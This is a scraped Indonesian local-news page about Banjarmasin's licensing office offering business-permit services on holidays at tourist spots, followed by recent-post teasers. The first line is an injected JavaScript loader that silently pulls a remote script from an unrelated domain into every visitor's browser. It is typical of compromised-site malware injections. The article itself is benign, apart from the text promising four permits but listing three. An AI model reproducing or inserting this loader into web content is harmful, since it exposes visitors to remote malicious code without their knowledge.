(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Urus Izin Kini Bisa Dilakukan Sambil Liburan di Tempat Wisata


BANJARMASIN, Terobosan pelayanan dilakukan Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Banjarmasin untuk memberikan akses kemudahan pengurusan izin. Yakni dengan membuka pelayanan pengurus izin usaha di hari libur.

Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Banjarmasin, Ir Muryanta di Banjarmasin mengatakan, upaya tersebut dilakukan untuk memberikan kesempatan bagi para pengusaha yang sibuk saat hari kerja agar bisa mengurus izin usaha saat hari libur.

Namun demikian, pelayanan ini dibuka tidak di kantor tetapi di tempat wisata atau keramaian seperti di daerah Siring Sungai Martapura Jalan Piere Tendean Banjarmasin.

“Untuk sementara pelayanan perizinan tersebut kita buka di Siring, sehingga masyarakat bisa mengurus izin usahanya sekaligus berwisata,” katanya.

Selain di dua tempat tersebut, kedepannya pelayanan model ini juga akan di beberapa tempat lainnya seperti di Mall atau tempat keramaian. Diharapkan, melalui peningkatan pelayanan hari libur tersebut, akan mampu meningkatkan kesadaran para pengusaha maupun UMKM, untuk mengurus izin usahanya.

Selain itu, tambah dia, juga akan mampu meningkatkan investasi di daerah dan menumbuhkan wiraswasta baru di Kota Banjarmasin. “Untuk sementara, baru empat perizinan yang kita layani di hari libur, dan diharapkan dalam waktu dekat akan menjadi 20 dan pada akhirnya, semua perizinan bisa dilayani di hari libur,” ujarnya.

Keempat perizinan tersebut yaitau, Surat Keterangan Tanda Usaha (SKTU), Surat Izin Usaha Perdagangan (SIUP) dan pengurusan izin Tanda Daftar Perusahaan (TDP). “Silahkan masyarakat yang ingin mengurus izin datang di hari libur, Insya Allah akan kita layani dengan baik,” katanya.

Program perizinan satu hari selesai tersebut antara lain untuk perpanjangan Surat Keterangan Tanda Usaha (SKTU), Surat Izin Usaha Perdagangan (SIUP) dan pengurusan izin Tanda Daftar Perusahaan (TDP). Melalui program tersebut, diharapkan bisa mendorong tumbuhnya investasi dan wiraswasta baru di Banjarmasin. “Sehingga pertumbuhan ekonomi bisa berjalan dengan lebih cepat,” katanya.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

2 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

6 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

9 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.